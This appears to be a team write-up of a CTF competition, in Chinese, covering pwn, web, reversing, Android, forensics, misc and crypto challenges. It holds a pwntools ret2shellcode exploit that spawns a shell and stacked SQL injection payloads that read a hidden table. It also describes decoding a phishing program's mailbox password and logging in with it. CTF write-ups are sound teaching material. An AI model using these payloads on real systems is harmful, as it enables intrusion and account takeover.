Sign in
看源码就送 flag
Pwn by arttnba3
hello
证明了我真的是菜鸡的一道
pwn题,搞了半天才明白 XD
做题环境 Manjaro-KDE
首先使用 checksec 指令查看保护,可以发现保护基本都是关的,只有 Partial RELRO, 那么基本上是可以为所欲为了 wwww
win 环境下拖进 IDA 进行分析

可以发现在 vul函数 存在明显的栈溢出

main 函数中调用了 vul

那么程序漏洞很明显了:
- 使用
fgets读入最大为 72 个字节的字符串,但是只分配给了 48 字节的空间,存在栈溢出
又有一个可疑的 bd 函数,那么第一时间想到 ret2text——构造 payload 跳转到 bd
但是很明显,bd 函数基本是是空的 (悲)

然后我就在这里卡了半天,证明我真的菜 XD
那么我们该如何利用这个 bd 呢?
可以看到在 bd 中存在操作 jmp rsp, 那么其实我们可以利用这个指令 跳转回栈上,执行我们放在栈上的 shellcode
- 也就是说这其实是一道
ret2shellcode的题
ret2text 执行过程:
rsp永远指向栈顶- 当我们用常规的
ret2text构造 48 字节字符串+8字节rbp+8字节bd函数地址 (覆盖掉原返回地址) 的payload时,rsp指向的其实是bd函数地址的位置 ret指令进入bd后弹出bd地址,rsp指向栈内储存的rbp的值 (预期内)bd函数将rbp再push入栈中,此时rsp再加 8, 指向被新压入的rbp(预期内)bd函数执行rsp上的指令 那么我们就可以在rsp预期内指向的地址上覆盖上我们的shellcode使其被执行
接下来就是 ret2shellcode 的:
ret2shellcode 修正过程:
- 在
rsp最终指向的地址放上我们待执行的shellcode - 由于长度不够,我们可以把
getshell的shellcode放在读入的字符串的最开始的地方,再通过汇编指令进行跳转 - 在
rsp所指向的位置覆盖上shellcode, 改变rsp的值使其指向getshell的shellcode并再次进行跳转,完成getshell
那么 payload 就很容易构造出来了:
context.arch = 'amd64'
sc1 = asm(shellcraft.sh())
sc2 = asm('sub rsp,64') # 48 字节的字符串 +8 字节的 rsp+8 字节的 rbp, 跳回开头
sc3 = asm('jmp rsp')
elf = ELF('hello')
payload = sc1 + b'a'*(56-len(sc1)) + p64(elf.symbols['bd']) + sc2 + sc3
Web by luoqi@n
id_wife

这个还真挺好玩的,把认识的师傅 id 都输了一遍,直到我把自己的 id 输了进去 (草
这里拿小 sad 举例:

看见这个,我立刻想到了强网杯的随便注 (其实找了半天) , 因为那道题用到了堆叠注入的知识点,所以我就试了一下
sad'); show databases;
成了,再试一下查询表
sad'); show tables;
这个看起来这么臭的表一定有问题 (确信
这里我用到了 handler, 这条语句使我们能够一行一行的浏览一个表中的数据,所以:
sad');handler`1145141919810`open;handler`1145141919810`read first;好的给了个假 flag…再读取下一条
sad');handler`1145141919810`open;handler`1145141919810`read first;handler`1145141919810`read next;直接给出 flag (因为是动态 flag 所以不贴了
Reverse by luoqi@n
EPL-Fish
这道题还不如放到 misc 里去…一点逆向都没用到
下载文件发现这玩意是用来钓鱼的假 qq 登陆界面,于是随便输入账号密码试了一下

草这钓鱼界面太真实了,用 wireshark 抓包试试看

可以看到这个程序用 smtp 协议登录邮箱,将用户输入的账号和密码发送到 dengluwo233@163.com 这个邮箱。由于 smtp 协议登录时的账号和密码默认为 base64 编码加密,所以我们很容易得到邮箱密码:FGYYJTMAZVTUPSWH
但是邮箱的账号和密码在网页登录的时候显示密码错误,163 邮箱的密码也默认必须由数字字母组成,这个密码明显不符合,但是后来 RX 大哥用客户端登录成功了,于是问了下出题人,这里贴一下:

登录成功后,在收件箱发现一个压缩包:thing.zip, 打开之后在其中的 QQ.e 文件里发现 flag

miniL{Epl_Oh_gre@T}Misc by luoqi@n
MiniGameHacking
这游戏好玩得很 (虽然为了抢一血解法非常暴力

在 data.unity3d 文件里人 肉 搜 索到的 flag (因为 flag 的 minil 少了一个 m,搜索 minil 是搜不到的

minil{diosamasayikou}后来听别人说游戏通关也有 flag, 一共 15 关,我打到 14 关就过不去了只能放弃 (
EasyVmem
2G 的 vmem 文件…我要死了草…
本着这么大的文件不可能拖到 kali 里用 Volatility 挨个找的想法,我跟 ga1@xy 嫖了一个 windows 用的取证工具:Magnet AXIOM,加载了半个多小时之后终于成了

然后在剪贴板里看到了一个假 flag 和奇怪的东西

假 flag 里 (base64) 的大致内容是 grep cha113nge to start the game, 至于下面那一堆 s3cR3t (太多了就不放这了) 后面的数字一直在变,从 10 10 一直到 289 289, 猜测是 289x289 像素的图片,于是让 RX 大哥画了个图:

扫一下就可以获得 flag (出题人说他是在 volatility 环境下设置的题,所以我这算是抄近路了
miniLCTF{mAst3R_0F_v0Lat1l1tY!}MITM_0

这是一个中间人攻击的流量包

这里把 192.168.1.152 这个 ip base64 一下交上去就可以了
MITM_1

去查一下 common name:

一看这个东西就是跟证书有关的,于是在流量包里搜索 certificate

issuer, commonname, 那这个 Liuyukun CA 应该就是要找的东西了,base64 一下就能得到 flag
总结 by luoqi@n
比赛这么多天,看着 RX 大哥穿了一道又一道,我就只能划水…混了个第三还是挺开心的

Reverse by Reverier
easy-re
本题就是一个很常规的逆向,不过 F5 之后不太好康而已。
F5 出来的源码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__m128i v3; // xmm1
__m128i v4; // xmm0
__m128i v5; // xmm1
__m128i v6; // xmm0
__int64 v7; // rdx
signed __int64 v8; // rax
__int128 v10; // [rsp+20h] [rbp-1B8h]
__int128 v11; // [rsp+30h] [rbp-1A8h]
__int128 v12; // [rsp+40h] [rbp-198h]
__int128 v13; // [rsp+50h] [rbp-188h]
__int128 v14; // [rsp+60h] [rbp-178h]
__int128 v15; // [rsp+70h] [rbp-168h]
char Str[16]; // [rsp+80h] [rbp-158h]
char v17[16]; // [rsp+90h] [rbp-148h]
__int16 v18; // [rsp+A0h] [rbp-138h]
char v19; // [rsp+A2h] [rbp-136h]
__int128 v20; // [rsp+A3h] [rbp-135h]
__int64 v21; // [rsp+B3h] [rbp-125h]
int v22; // [rsp+BBh] [rbp-11Dh]
char v23; // [rsp+BFh] [rbp-119h]
char v24[256]; // [rsp+C0h] [rbp-118h]
v3 = _mm_load_si128((const __m128i *)&unk_140003440);
_mm_store_si128((__m128i *)&v10, _mm_load_si128((const __m128i *)&xmmword_140003400));
_mm_store_si128((__m128i *)&v12, _mm_load_si128((const __m128i *)&xmmword_1400033E0));
v4 = _mm_load_si128((const __m128i *)&dword_140003410);
_mm_store_si128((__m128i *)&v11, v3);
v5 = _mm_load_si128((const __m128i *)&xmmword_1400033F0);
_mm_store_si128((__m128i *)&v14, v4);
v6 = _mm_load_si128((const __m128i *)&unk_140003430);
_mm_store_si128((__m128i *)&v13, v5);
_mm_store_si128((__m128i *)Str, v6);
v15 = 0i64;
v18 = 26727;
v20 = 0i64;
v19 = 116;
_mm_store_si128((__m128i *)v17, _mm_load_si128((const __m128i *)&unk_140003420));
v21 = 0i64;
v22 = 0;
v23 = 0;
puts(Str);
cin_read(std::cin, v7, v24);
v8 = 0i64;
do
{
if ( v24[v8] != *((_DWORD *)&v10 + v8) + 100 )
{
puts(&v17[8]);
exit(1);
}
++v8;
}
while ( v8 < 20 );
return puts(&v17[14]);
}程序将输入和 v10 处的数据 +100 后进行比对。
相关数据:
xmmword_1400033E0 xmmword 10000000E000000150000000Fh
.rdata:00000001400033E0 ; DATA XREF: main+39↑r
.rdata:00000001400033F0 xmmword_1400033F0 xmmword 1FFFFFFFB0000000FFFFFFFC3h
.rdata:00000001400033F0 ; DATA XREF: main+55↑r
.rdata:0000000140003400 xmmword_140003400 xmmword 50000000A0000000500000009h
.rdata:0000000140003400 ; DATA XREF: main+19↑r
.rdata:0000000140003410 dword_140003410 dd 0FFFFFFFDh ; DATA XREF: main+47↑r
.rdata:0000000140003414 db 0Fh
.rdata:0000000140003415 db 0
.rdata:0000000140003416 db 0
.rdata:0000000140003417 db 0
.rdata:0000000140003418 db 15h
.rdata:0000000140003419 db 0
.rdata:000000014000341A db 0
.rdata:000000014000341B db 0
.rdata:000000014000341C db 19h
.rdata:000000014000341D db 0
.rdata:000000014000341E db 0
.rdata:000000014000341F db 0
.rdata:0000000140003420 unk_140003420 db 72h ; r ; DATA XREF: main+8F↑r
.rdata:0000000140003421 db 20h
.rdata:0000000140003422 db 66h ; f
.rdata:0000000140003423 db 6Ch ; l
.rdata:0000000140003424 db 61h ; a
.rdata:0000000140003425 db 67h ; g
.rdata:0000000140003426 db 3Ah ; :
.rdata:0000000140003427 db 0
.rdata:0000000140003428 db 77h ; w
.rdata:0000000140003429 db 72h ; r
.rdata:000000014000342A db 6Fh ; o
.rdata:000000014000342B db 6Eh ; n
.rdata:000000014000342C db 67h ; g
.rdata:000000014000342D db 0
.rdata:000000014000342E db 52h ; R
.rdata:000000014000342F db 69h ; i
.rdata:0000000140003430 unk_140003430 db 50h ; P ; DATA XREF: main+63↑r
.rdata:0000000140003431 db 6Ch ; l
.rdata:0000000140003432 db 65h ; e
.rdata:0000000140003433 db 61h ; a
.rdata:0000000140003434 db 73h ; s
.rdata:0000000140003435 db 65h ; e
.rdata:0000000140003436 db 20h
.rdata:0000000140003437 db 69h ; i
.rdata:0000000140003438 db 6Eh ; n
.rdata:0000000140003439 db 70h ; p
.rdata:000000014000343A db 75h ; u
.rdata:000000014000343B db 74h ; t
.rdata:000000014000343C db 20h
.rdata:000000014000343D db 79h ; y
.rdata:000000014000343E db 6Fh ; o
.rdata:000000014000343F db 75h ; u
.rdata:0000000140003440 unk_140003440 db 8 ; DATA XREF: main+29↑r
.rdata:0000000140003441 db 0
.rdata:0000000140003442 db 0
.rdata:0000000140003443 db 0
.rdata:0000000140003444 db 17h
.rdata:0000000140003445 db 0
.rdata:0000000140003446 db 0
.rdata:0000000140003447 db 0
.rdata:0000000140003448 db 1
.rdata:0000000140003449 db 0
.rdata:000000014000344A db 0
.rdata:000000014000344B db 0
.rdata:000000014000344C db 0FDh
.rdata:000000014000344D db 0FFh
.rdata:000000014000344E db 0FFh
.rdata:000000014000344F db 0FFh简单的把数据都复制出来,输出一下:
#include <stdio.h>
char test[] = {9, 5, 0xA, 5, 0xFD, 0xF, 0x15, 0x19, 0xf, 0x15, 0xe, 0x1, 0xc3,0xf,0xfb, 0x1};
int main() {
for (int i = 0; i < 16; i++) {
printf("%c", test[i] + 0x64);
}
}
// minil{easyre's_easy}这个程序的输出顺序有些乱,自己拼接一下就好了。
machine
我对着题目给出的四串乱七八糟的东西发了两天的呆 最后没办法了去问 Frank 才发现这道题竟然是要 F12 康脚本……
F12 之后拿到脚本,尝试 JS 反混淆等皆不成功,直接分析怎么看也不可能,于是动态调试,把题目的脚本中 return 语句全打上断点,一步一步调试就能看见 flag 了。

What’s Virtialization
这道题表面上看着是虚拟化,实际上没发现和虚拟化有什么关系 emmmm……
F5 之后分析的 main 函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v5; // eax
int global_iter; // [esp+D0h] [ebp-2Ch]
signed int i; // [esp+DCh] [ebp-20h]
signed int j; // [esp+DCh] [ebp-20h]
signed int k; // [esp+DCh] [ebp-20h]
signed int v11; // [esp+E8h] [ebp-14h]
int input_length; // [esp+F4h] [ebp-8h]
printf("Welcome to MiniLCTF!\n");
printf("Plz input your flag:");
scanf_s("%s", input, 100);
input_length = strlen(input);
v11 = 100; // fibnacci[9]: [1, 1, 2, 3, 5, 8, 13, 21 ,34]
if ( fibnacci[0] * fibnacci[0] + input_length * input_length >= fibnacci[0] * input_length * fibnacci[2]
&& or(input_length, fibnacci[1]) == fibnacci[8] - fibnacci[0] )// if input_length == 32 or input_length == 33
{
global_iter = 0;
for ( i = 0; i < 6; ++i )
{
first_proc[i] = xor(input[i], const_array1[global_iter]);
global_iter = (fibnacci[0] + global_iter) % (fibnacci[4] + fibnacci[1]);// just iter++
// when iter > 5, iter = 0
if ( and(first_proc[i], const_array2[i]) != first_proc[i] )
{
v3 = xor(fibnacci[3] / 3, fibnacci[0]); // v3 = 0
v11 = and(v11, v3); // v11 = 0
}
} // just reconize is minil{ or not
if ( or(v11, fibnacci[8]) != fibnacci[6] + fibnacci[7] )// False when v11 in [0, 2, 32, 34]
{
for ( j = 0; j < 13; ++j )
{
byte_4060F6[j] = xor(zero_array[j], const_array1[global_iter]);
global_iter = (fibnacci[1] + global_iter) % (fibnacci[3] * fibnacci[2]);
if ( and(byte_4060F6[j], const_array3[j]) != byte_4060F6[j] )
{
v4 = xor(fibnacci[5] / 2 - 3, fibnacci[1]);
v11 = and(v11, v4);
}
}
if ( or(v11, fibnacci[7]) != fibnacci[5] + fibnacci[6] )
{
for ( k = 0; k < 13; ++k )
{
byte_406103[k] = xor(byte_40609B[k], const_array1[global_iter]);
global_iter = (global_iter + fibnacci[2] / 2) % (fibnacci[5] - fibnacci[2]);
if ( and(byte_406103[k], const_array4[k]) != byte_406103[k] )
{
v5 = xor(fibnacci[7] / 7, fibnacci[3]);
v11 = and(v11, v5);
}
}
if ( and_utils(v11) != v11 - fibnacci[0] )
{
printf("\nCongratulations! Your flag is right!");
getchar();
}
}
}
}
getchar();
return 0;
}其中 xor, or 和 and 涉及到一点模电的知识,很好识别。
常量数组带入后再次简化的程序:
#include <stdio.h>
#include <string.h>
int or_utils(int a, int b) { return ~a & ~b; }
int and (int a, int b) {
int v1, v2;
v1 = or_utils(a, a);
v2 = or_utils(b, b);
return or_utils(v1, v2);
}
int or (int a, int b) {
int v1, v2;
v1 = or_utils(a, b);
v2 = or_utils(a, b);
return or_utils(v1, v2);
}
int and_utils(int a1) { return or_utils(a1, a1); }
int xor(int a, int b) {
int v2; // ST08_4
int v3; // eax
v2 = or_utils(a, b);
v3 = and(a, b);
return or_utils(v3, v2);
}
int fibnacci[9] = {1, 1, 2, 3, 5, 8, 13, 21, 34};
int main() {
int v3;
int v4;
int v5;
int global_iter;
signed int i;
signed int j;
signed int k;
signed int is_ok;
int input_length;
char input[105];
char first_proc[7] = {};
char arr_020408[7] = "020408";
char const_array2[7] = "}[^]}{";
char const_array3[14] = "dtKcXxDmYgoNY";
char const_array4[14] = "@D]pTYHp@Yw^O";
char second_proc[14] = {};
char third_proc[86] = {};
printf("Welcome to MiniLCTF!\n");
printf("Plz input your flag:");
scanf("%s", input);
input_length = strlen(input);
is_ok = 100; // fibnacci[9]: [1, 1, 2, 3, 5, 8, 13, 21 ,34]
global_iter = 0;
if (input_length == 32 || input_length == 33) {
for (i = 0; i < 6; ++i) {
first_proc[i] = input[i] ^ arr_020408[global_iter];
global_iter++; // just iter++
if (global_iter > 5) global_iter = 0;
// when iter > 5, iter = 0
if (and(first_proc[i], const_array2[i]) != first_proc[i]) {
v3 = 0; // v3 = 0
is_ok = 0; // is_ok = 0
}
}
if (is_ok)
{ //global_iter = 0 now.
for (j = 0; j < 13; ++j) {
second_proc[j] = arr_020408[global_iter];
global_iter = (1 + global_iter) % 5;
//global_iter is in [0, 1, 2, 3, 4, 5]
if (and(second_proc[j], const_array3[j]) != second_proc[j]) {
v4 = 0;
is_ok = 0;
}
}
if (is_ok) {
for (k = 0; k < 13; ++k) {
third_proc[k] = arr_020408[global_iter];
global_iter = (global_iter + 1) % 5;
if (and(third_proc[k], const_array4[k]) != third_proc[k]) {
v5 = 0;
is_ok = 0;
}
}
if (is_ok) {
printf("\nCongratulations! Your flag is right!");
getchar();
}
}
}
}
getchar();
return 0;
}这个程序和题目的作用相同。
稍微改一下,编写解题程序:
#include <stdio.h>
#include <string.h>
int main() {
int v3;
int v4;
int v5;
int global_iter;
signed int i;
signed int j;
signed int k;
signed int is_ok;
int input_length;
char input[105] = {};
char first_proc[7] = {};
char arr_020408[7] = "020408";
char const_array2[7] = "}[^]}{";
char const_array3[14] = "dtKcXxDmYgoNY";
char const_array4[14] = "@D]pTYHp@Yw^O";
char second_proc[14] = {};
char zero_array[14] = {};
char zero_array1[86] = {};
char third_proc[86] = {};
input_length = strlen(input);
is_ok = 100;
global_iter = 0;
for (i = 0; i < 6; ++i) {
input[i] = const_array2[i] ^ arr_020408[global_iter];
global_iter++;
if (global_iter > 5) global_iter = 0;
}
for (j = 0; j < 13; ++j) {
second_proc[j] = const_array3[j] ^ arr_020408[global_iter];
global_iter = (1 + global_iter) % 6;
input[j+6] = second_proc[j];
}
for (k = 0; k < 13; ++k) {
third_proc[k] = const_array4[k] ^ arr_020408[global_iter];
global_iter = (global_iter + 1) % 6;
input[k + 19] = third_proc[k];
}
printf("flag is: %s", input);
getchar();
return 0;
}
//flag is: MiniMCTF{Wh@t_iS_virti@liz@tiOn}复制下来改改就好了。
最后的输出中 MiniL 变成了 MiniM, 手动改过来就是正确 flag 了。
Android by Reverier
TestOnly
用 dex2jar 导出为 jar 之后拖入到 jd-gui, 发现就是个简单的算法题。不过查了好久也没查到 Java 中的 SHA 代指 SHA 几,最后索性直接复制下来跑出答案。
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
public class test {
public static int a(char paramChar) {
int i;
if (paramChar < '') {
i = paramChar;
} else {
i = a(Character.toString(paramChar));
}
return i;
}
public static int a(String paramString) {
int i = paramString.length();
int j = 0;
if (i > 0)
j = paramString.getBytes(StandardCharsets.UTF_8)[0] & 0xFF;
return j;
}
public static String b(String paramString) {
try {
MessageDigest messageDigest = MessageDigest.getInstance("SHA");
byte[] arrayOfByte = messageDigest.digest(paramString.getBytes("UTF-8"));
StringBuffer stringBuffer = new StringBuffer();
for (byte b = 0; b < arrayOfByte.length; b++) {
int i = arrayOfByte[b] & 0xFF;
if (i < 16)
stringBuffer.append("0");
stringBuffer.append(Integer.toHexString(i));
}
return stringBuffer.toString();
} catch (Exception exception) {
System.out.println(exception.toString());
exception.printStackTrace();
return "";
}
}
public static String J() {
String str = "";
try {
String str1 = b(
"B08020D0FACFDAF81DB46890E4040EDBB8613DA5ABF038F8B86BD44525D2E27B26E22ACD06388112D8467FD688C79CC7EA83F27440577350E8168C2560368616");
str = str1;
} catch (Exception exception) {
exception.printStackTrace();
}
char[] arrayOfChar = new char[30];
arrayOfChar[0] = 'U';
arrayOfChar[1] = '_';
arrayOfChar[2] = '\005';
arrayOfChar[3] = 'S';
arrayOfChar[4] = 'K';
arrayOfChar[5] = '`';
arrayOfChar[6] = '^';
arrayOfChar[7] = Character.MIN_VALUE;
arrayOfChar[8] = '\021';
arrayOfChar[9] = '=';
arrayOfChar[10] = 'f';
arrayOfChar[11] = 'W';
arrayOfChar[12] = 'P';
arrayOfChar[13] = '{';
arrayOfChar[14] = '\004';
arrayOfChar[15] = 'i';
arrayOfChar[16] = 'U';
arrayOfChar[17] = 'S';
arrayOfChar[18] = 'e';
arrayOfChar[19] = 'm';
arrayOfChar[20] = '7';
arrayOfChar[21] = 'U';
arrayOfChar[22] = '\027';
arrayOfChar[23] = '0';
arrayOfChar[24] = 'j';
arrayOfChar[25] = '\001';
arrayOfChar[26] = '(';
arrayOfChar[27] = '\007';
arrayOfChar[28] = 'a';
arrayOfChar[29] = '\037';
for (byte b = 0; b < arrayOfChar.length; b++)
arrayOfChar[b] = (char) (char) (arrayOfChar[b] ^ a(str.charAt(b)));
return String.copyValueOf(arrayOfChar).replace("flag", "minil");
}
public static void main(String[] args) {
System.out.println(J());
}
}Misc by Reverier
EasyVmem.d
这道题是由我和 luoqi@n 共同完成的。
首先要从 Vmem 中提取出剪贴板数据,导出了一个巨大的 txt:
s3cR3t:10 10 s3cR3t:10 11 s3cR3t:10 12 s3cR3t:10 13 s3cR3t:10 14 s3cR3t:10 15 s3cR3t:10 16 s3cR3t:10 17 s3cR3t:10 18 s3cR3t:10 19 s3cR3t:10 20 s3cR3t:10 22 s3cR3t:10 23 s3cR3t:10 24 s3cR3t:10 25 s3cR3t:10 26 s3cR3t:10 27 s3cR3t:10 28 s3cR3t:10 29 s3cR3t:10 30 s3cR3t:10 31 s3cR3t:10 33 s3cR3t:10 34 s3cR3t:10 35 s3cR3t:10 36 s3cR3t:10 37 s3cR3t:10 38 s3cR3t:10 39 s3cR3t:10 40 s3cR3t:10 41 s3cR3t:10 42 s3cR3t:10 44 s3cR3t:10 45 s3cR3t:10 46 s3cR3t:10 47 s3cR3t:10 48 s3cR3t:10 49 s3cR3t:10 50 s3cR3t:10 51 s3cR3t:10 52 s3cR3t:10 53 s3cR3t:10 55 s3cR3t:10 56 s3cR3t:10 57 s3cR3t:10 58 s3cR3t:10 59 s3cR3t:10 60 s3cR3t:10 61 s3cR3t:10 62 s3cR3t:10 63 s3cR3t:10 64 s3cR3t:10 65 s3cR3t:10 66 s3cR3t:10 67 s3cR3t:10 68 s3cR3t:10 69 s3cR3t:10 70 s3cR3t:10 71 s3cR3t:10 72 s3cR3t:10 73 s3cR3t:10 74 s3cR3t:10 75 s3cR3t:10 76 s3cR3t:10 78 s3cR3t:10 79 s3cR3t:10 80 s3cR3t:10 81 s3cR3t:10 82 s3cR3t:10 83 s3cR3t:10 84 s3cR3t:10 85 s3cR3t:10 86 s3cR3t:10 87 s3cR3t:10 100 s3cR3t:10 101 s3cR3t:10 102 s3cR3t:10 103 s3cR3t:10 104 s3cR3t:10 105 s3cR3t:10 106 s3cR3t:10 107 s3cR3t:10 108 s3cR3t:10 109 s3cR3t:10 111 s3cR3t:10 112 s3cR3t:10 113 s3cR3t:10 114 s3cR3t:10 115 s3cR3t:10 116 s3cR3t:10 117 s3cR3t:10 118 s3cR3t:10 119 s3cR3t:10 120 s3cR3t:10 121 s3cR3t:10 134 s3cR3t:10 135 s3cR3t:10 136 s3cR3t:10 137 s3cR3t:10 138 s3cR3t:10 139 s3cR3t:10 140 s3cR3t:10 141 s3cR3t:10 142 s3cR3t:10 143 s3cR3t:10 145 s3cR3t:10 146 s3cR3t:10 147 s3cR3t:10 148 s3cR3t:10 149 s3cR3t:10 150 s3cR3t:10 151 s3cR3t:10 152 s3cR3t:10 153 s3cR3t:10 154 s3cR3t:10 156 s3cR3t:10 157 s3cR3t:10 158 s3cR3t:10 159 s3cR3t:10 160 s3cR3t:10 161 s3cR3t:10 162 s3cR3t:10 163 s3cR3t:10 164 s3cR3t:10 165 s3cR3t:10 190 s3cR3t:10 191 s3cR3t:10 192 s3cR3t:10 193 s3cR3t:10 194 s3cR3t:10 195 s3cR3t:10 196 s3cR3t:10 197 s3cR3t:10 198 s3cR3t:10 199 s3cR3t:10 212 s3cR3t:10 213 s3cR3t:10 214 s3cR3t:10 215 s3cR3t:10 216 s3cR3t:10 217 s3cR3t:10 218 s3cR3t:10 219 s3cR3t:10 220 s3cR3t:10 221 s3cR3t:10 223 s3cR3t:10 224 s3cR3t:10 225 s3cR3t:10 226 s3cR3t:10 227 s3cR3t:10 228 s3cR3t:10 229 s3cR3t:10 230 s3cR3t:10 231 s3cR3t:10 232 s3cR3t:10 233 s3cR3t:10 234 s3cR3t:10 235 s3cR3t:10 236 s3cR3t:10 237 s3cR3t:10 238 s3cR3t:10 239 s3cR3t:10 240 s3cR3t:10 241 s3cR3t:10 242 s3cR3t:10 243 s3cR3t:10 244 s3cR3t:10 246 s3cR3t:10 247 s3cR3t:10 248 s3cR3t:10 249 s3cR3t:10 250 s3cR3t:10 251 s3cR3t:10 252 s3cR3t:10 253 s3cR3t:10 254 s3cR3t:10 255 s3cR3t:10 257 s3cR3t:10 258 s3cR3t:10 259 s3cR3t:10 260 s3cR3t:10 261 s3cR3t:10 262 s3cR3t:10 263 s3cR3t:10 264 s3cR3t:10 265 s3cR3t:10 266 s3cR3t:10 268 s3cR3t:10 269 s3cR3t:10 270 s3cR3t:10 271 s3cR3t:10 272 s3cR3t:10 273 s3cR3t:10 274 s3cR3t:10 275 s3cR3t:10 276 s3cR3t:10 277 s3cR3t:10 279 s3cR3t:10 280 s3cR3t:10 281 s3cR3t:10 282 s3cR3t:10 283 s3cR3t:10 284 s3cR3t:10 285 s3cR3t:10 286 s3cR3t:10 287 s3cR3t:10 288 s3cR3t:10 289 s3cR3t:11 10
and more……数据量太大就不全部贴出来了。
然后写一下绘图脚本:
from PyQt5 import QtGui, QtWidgets, QtCore
from PyQt5.QtGui import *
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *
import sys
class DrawWidget(QtWidgets.QWidget):
def __init__(self, parent=None):
super().__init__(parent=parent)
self.setStyleSheet('background-color: #ffffff;')
def drawPoints(self, qp):
qp.setPen(QPen(Qt.black, 2))
with open('./inp.txt', 'r') as inp:
data = inp.read().split('s3cR3t:')
print(data)
for i in data:
try:
x = int(i.split(' ')[0])
y = int(i.split(' ')[1])
qp.drawPoint(x, y)
except:
pass
def paintEvent(self, QPaintEvent):
qp = QPainter()
qp.begin(self)
self.drawPoints(qp)
qp.end()
if __name__ == "__main__":
app = QtWidgets.QApplication(sys.argv)
window = DrawWidget()
window.show()
window.resize(300, 300)
app.exec_()
扫码,解决。
minecraft-2
登陆服务器的时候开着 wireshark, 抓包抓到 flag2 的子服务器地址,然后改名 Ruby, 直连 flag2 服务器获取 flag.
Crypto by Reverier
ιIl
从网上找到一个轮子,稍加修改使用 sage 跑一下:
# sage
h = 31497596336552470100084187834926304075869321337353584228754801815485197854209104578876574798202880445492465226847681886628987815101276129299179423009194336979092146458547058477361338454307308727787100367492619524471399054846173175096003547542362283035506046981301967777510149938655352986115892410982908002343
p = 126982824744410328945797087760338772632266265605499464155168564006938381164343998332297867219509875837758518332737386292044402913405044815273140449332476472286262639891581209911570020757347401235079120185293696746139599783586620242086604902725583996821566303642800016358224555557587702599076109172899781757727
c = 81425203325802096867547935279460713507554656326547202848965764201702208123530941439525435560101593619326780304160780819803407105746324025686271927329740552019112604285594877520543558401049557343346169993751022158349472011774064975266164948244263318723437203684336095564838792724505516573209588002889586264735
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([[1, h], [0, p]])
shortest_vector = m.LLL()[0]
f, g = shortest_vector
print(f, g)
f = abs(f)
g = abs(g)
a = f*c % p % g
m = a * inverse_mod(f, g) % g
print(m)
最终 flag: minil{l1Ii5n0tea5y}
f**k&base
这道题就是上面那道的变种。用 brainfuck 解密一下 source.txt:
from Crypto.Util.number import *
q=getPrime(1024)
f=getPrime(511)
g=getPrime(511)
while g<pow(q/4,0.5) and g>pow(q/2,0.5):
g=getPrime(511)
f_inv_q=inverse(f,q)
h=f_inv_q*g%q
m=bytes_to_long(b'flag')#flag is base**(flag)
r=getPrime(510)
e=(r*h+m)%q
print f
print g
print q
print e解密脚本:
# sage
p = 172620634756442326936446284386446310176482010539257694929884002472846127607264743380697653537447369089693337723649017402105400257863085638725058903969478143249108126132543502414741890867122949021941524916405444824353100158506448429871964258931750339247018885114052623963451658829116065142400435131369957050799
c = 130055004464808383851466991915980644718382040848563991873041960765504627910537316320531719771695727709826775790697704799143461018934672453482988811575574961674813001940313918329737944758875566038617074550624823884742484696611063406222986507537981571075140436761436815079809518206635499600341038593553079293254
f = 4685394431238242086047454699939574117865082734421802876855769683954689809016908045500281898911462887906190042764753834184270447603004244910544167081517863
g = 5326402554595682620065287001809742915798424911036766723537742672943459577709829465021452623299712724999868094408519004699993233519540500859134358256211397
a = f*c % p % g
m = a * inverse_mod(f, g) % g
print(m)
# m = 629250774757584627131327668302148468
做题情况 by Reverier

感谢 luoqi@n 大哥和 arttnba3 大哥带我飞~
虽然只拿了第三,没有 pwn 手也没有 Web 手的情况下也挺不错了 hhh~
作为一个 Re 手自我感觉良好,虽然安卓题就写了一道 emmm
但 Re 解题情况应该是参赛组中最好的。
总结 by Reverier
还是要继续学 Re 啊~ 同时作为一个二进制组员,pwn 多多少少也要会……
毕竟 CTF 中 pwn 的比重太大了,全盘放弃实在是伤……
